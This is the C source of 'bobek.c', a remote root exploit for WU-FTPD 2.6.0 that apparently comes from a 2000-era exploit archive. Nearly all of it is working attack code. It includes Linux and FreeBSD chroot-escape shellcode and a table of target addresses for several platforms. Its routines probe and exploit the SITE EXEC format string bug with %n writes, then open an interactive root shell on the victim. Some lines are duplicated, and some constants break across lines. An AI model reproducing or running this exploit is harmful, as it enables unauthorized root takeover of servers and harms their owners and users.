bobek.c

/*
* (c) 2000 venglin / b0f
* http://b0f.freebsd.lublin.pl
*
bobek.c

/*
* (c) 2000 venglin / b0f
* http://b0f.freebsd.lublin.pl
*
* WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)
*
* Idea and preliminary version of exploit by tf8
*
* Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
* Dedicated to ksm.
*
* **PRIVATE**DO*NOT*DISTRIBUTE**
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>


#define repln if (getreply(0) < 0) return -1
#define replv if (getreply(1) < 0) return -1

#ifdef DEBUG
#define repl replv
#else
#define repl repln
#endif

char usage[] = "usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]\n\
t<-t type> <hostname>";
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
FILE *cin, *cout;

char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69"
"\x6e\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65"
"\x2e\x63\x6f\x6d";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88"
"\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
"\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
"\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
"\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
"\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
"\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
"\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30"
"\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e"
"\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e"
"\x63\x6f\x6d";

struct platforms
{
char *os;
char *version;
char *code;
int align;
int eipoff;
long ret;
long retloc;
int sleep;
};

struct platforms targ[] =
{
{ "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xb
fbfcc04, 0 },
{ "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0x
bfbfec0c, 0 },
{ "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510,
0xbfbfe798, 0 },
{ "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0
xbfbfcc04, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbff
fcf74, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbff
fd074, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbff
fcf84, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbff
fd04c, 0 },
{ "RedHat Linux 6.2-SMP", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0
xbfffd0e4, 0 },
{ NULL, NULL, NULL, 0, 0, 0, 0 }
};

long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;

if ((ip = inet_addr(name)) < 0)
{
if (!(hp = gethostbyname(name)))
{
fprintf(stderr, "gethostbyname(): %s\n",
strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}

return ip;
}

int connecttoftp(host, port)
char *host;
int port;
{
int sockfd;
struct sockaddr_in cli;

bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_addr.s_addr=getip(host);
cli.sin_port = htons(port);

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
return -1;
}

if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
{
perror("connect");
close(sockfd);
return -1;
}

cin = fdopen(sockfd, "r");
cout = fdopen(sockfd, "w");

if (!cin || !cout)
{
close(sockfd);
return -1;
}

return sockfd;
}

int command(const char *fmt, ...)
{
char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;

va_list args;

if (!cout)
return -1;

bzero(buf1, BUFSIZ);
bzero(buf2, BUFSIZ*2);

va_start(args, fmt);
vsnprintf(buf1, BUFSIZ, fmt, args);
va_end(args);

for (p=buf1,q=buf2;*p;p++,q++)
{
if (*p == '\xff')
{
*q++ = '\xff';
*q = '\xff';
}
else
*q = *p;
}

fprintf(cout, "%s", buf2);

#ifdef DEBUG
fprintf(stderr, "--> ");
fprintf(stderr, "%s", buf2);
fputc('\n', stderr);
#endif

fputs("\r\n", cout);
(void)fflush(cout);
return 0;
}

int getreply(v)
int v;
{
if (!(fgets(recvbuf, BUFSIZ, cin)))
return -1;

if (v)
fprintf(stderr, "<-- %s", recvbuf);

return 0;
}

int logintoftp(login, passwd)
char *login, *passwd;
{
do
repl;
while (strncmp(recvbuf, "220 ", 4));

if ((command("USER %s", login)) < 0)
return -1;

repl;

if (strncmp(recvbuf, "331", 3))
{
puts(recvbuf);
return -1;
}

if ((command("PASS %s", passwd) < 0))
return -1;

do
repl;
while (strncmp(recvbuf, "230 ", 4));

return 0;
}

int checkvuln(void)
{
command("SITE EXEC %%p");
repl;

if(strncmp(recvbuf, "200-", 4))
return -1;

if(strncmp(recvbuf+4, "0x", 2))
return -1;

repl;

return 0;
}

int findeip(eipoff, align)
int eipoff, align;
{
int i, j, off;
char *p1;
char eip1[10], eip2[10];

for (i=eipoff;;i+=8)
{
fprintf(stderr, "at offset %d\n", i);
strcpy(sendbuf, "SITE EXEC ");

for (j=0;j<align;j++) strcat(sendbuf, "a");
strcat(sendbuf, "abcd");

for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d%%d");
strcat(sendbuf, "|%%.8x|%%.8x");

if (command(sendbuf) < 0)
return -1;

repl;

if (!(p1 = strchr(recvbuf, '|')))
return -1;

strncpy(eip1, p1+1, 8);
strncpy(eip2, p1+10, 8);

eip1[8] = eip2[8] = '\0';

if (!(strcmp(eip1, "64636261")))
{
off = i;
break;
}

if (!(strcmp(eip2, "64636261")))
{
off = i + 4;
break;
}

repl;
}

repl;

return off;
}

char *putshell(type)
int type;
{
static char buf[400];
int noplen;

char *code = targ[type].code;

noplen = sizeof(buf) - strlen(code) - 2;

memset(buf, 0x90, noplen);
buf[noplen+1] = '\0';
strcat(buf, code);

return buf;
}

int overwrite(ptr, off, align, retloc, eipoff)
long ptr, retloc;
int off, align, eipoff;
{
int i, size = 0;
char buf[100];

fprintf(stderr, "RET: %p, RET location: %p,"
" RET location offset on stack: %d\n",
(void *)ptr, (void *)retloc, off);

if (off >= 12)
{

strcpy(sendbuf, "SITE EXEC ");

for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");

if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");

if (command(sendbuf) < 0)
return -1;

repl;

size = strlen(recvbuf+4) - 2;

repl;
}

fprintf(stderr, "Reply size: %d, New RET: %p\n", size,
(void *)(ptr-size));

strcpy(sendbuf, "SITE EXEC ");
for (i=0;i<align;i++) strcat(sendbuf, "a");

sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
(((int)retloc & 0xff00) >> 8),
(((int)retloc & 0xff0000) >> 16),
(((int)retloc & 0xff000000) >> 24));

strcat(sendbuf, buf);

for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");

if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");

strcat(sendbuf, "%%.");
sprintf(buf, "%d", (int)ptr-size);
strcat(sendbuf, buf);
strcat(sendbuf, "d%%n");

if (command(sendbuf) < 0)
return -1;

return 0;
}

int sh(sockfd)
int sockfd;
{
char buf[BUFSIZ];
int c;
fd_set rf, drugi;
char cmd[] = "uname -a ; pwd ; id\n";

FD_ZERO(&rf);
FD_SET(0, &rf);
FD_SET(sockfd, &rf);
write(sockfd, cmd, strlen(cmd));

while (1)
{
bzero(buf, BUFSIZ);
memcpy (&drugi, &rf, sizeof(rf));
select(sockfd+1, &drugi, NULL, NULL, NULL);
if (FD_ISSET(0, &drugi))
{
c = read(0, buf, BUFSIZ);
send(sockfd, buf, c, 0x4);
}

if (FD_ISSET(sockfd, &drugi))
{
c = read(sockfd, buf, BUFSIZ);
if (c<0) return 0;
write(1,buf,c);
}
}
}

int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff;
long ret, retloc;
char login[BUFSIZ], password[BUFSIZ];

opterr = retofs = retlocofs = 0;
strcpy(login, "ftp");
type = -1;
port = 21;

while ((ch = getopt(argc, argv, "l:f:s:t:o")) != -1)
switch((char)ch)
{
case 'l':
strcpy(login, optarg);
break;

case 't':
type = atoi(optarg);
break;

case 'o':
port = atoi(optarg);
break;

case 'f':
retofs = atoi(optarg);
break;

case 's':
retlocofs = atoi(optarg);
break;

case '?':
default:
puts(usage);
exit(0);
}

argc -= optind;
argv += optind;

fprintf(stderr, "PanBobek v1.1 by This email address is being protected from spambots. You need JavaScript enabled to view it.\n\n");

if (type < 0)
{
fprintf(stderr, "Please select platform:\n");
for (i=0;targ[i].os;i++)
{
fprintf(stderr, "\t-t %d : %s %s (%p / %p)\n", i,
targ[i].os, targ[i].version,
(void *)targ[i].ret,
(void *)targ[i].retloc);
}
exit(0);
}

fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n",
targ[type].os, targ[type].version);

eipoff = targ[type].eipoff;
align = targ[type].align;
ret = targ[type].ret;
retloc = targ[type].retloc;
retloc += retlocofs;
ret += retofs;

if (argc != 1)
{
puts(usage);
exit(0);
}

strcpy(password, putshell(type));

if ((fd = connecttoftp(*argv, port)) < 0)
{
(void)fprintf(stderr, "Connection to %s failed.\n", *argv);
exit(1);
}

(void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);

if (logintoftp(login, password) < 0)
{
(void)fprintf(stderr, "Logging in to %s (%s) failed.\n",
*argv, login);
exit(1);
}

(void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n",
login);

sleep(targ[type].sleep);

if (checkvuln() < 0)
{
(void)fprintf(stderr, "Sorry, this version isn't"
" vulnerable or uses internal vsnprintf().\n");
exit(1);
}

(void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n",
eipoff);

if ((retoff = findeip(eipoff, align)) < 0)
{
(void)fprintf(stderr, "\nError finding offset. Adjust"
" align.\n");
exit(1);
}

if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
{
(void)fprintf(stderr, "Error overwriting RET addr.\n");
exit(1);
}

fprintf(stderr, "Wait up to few minutes for reply. It depends on "
"victim's CPU speed.\nEnjoy your shell.\n");

sh(fd);

exit(0);
}
/* www.hack.co.za [21 November 2000]*/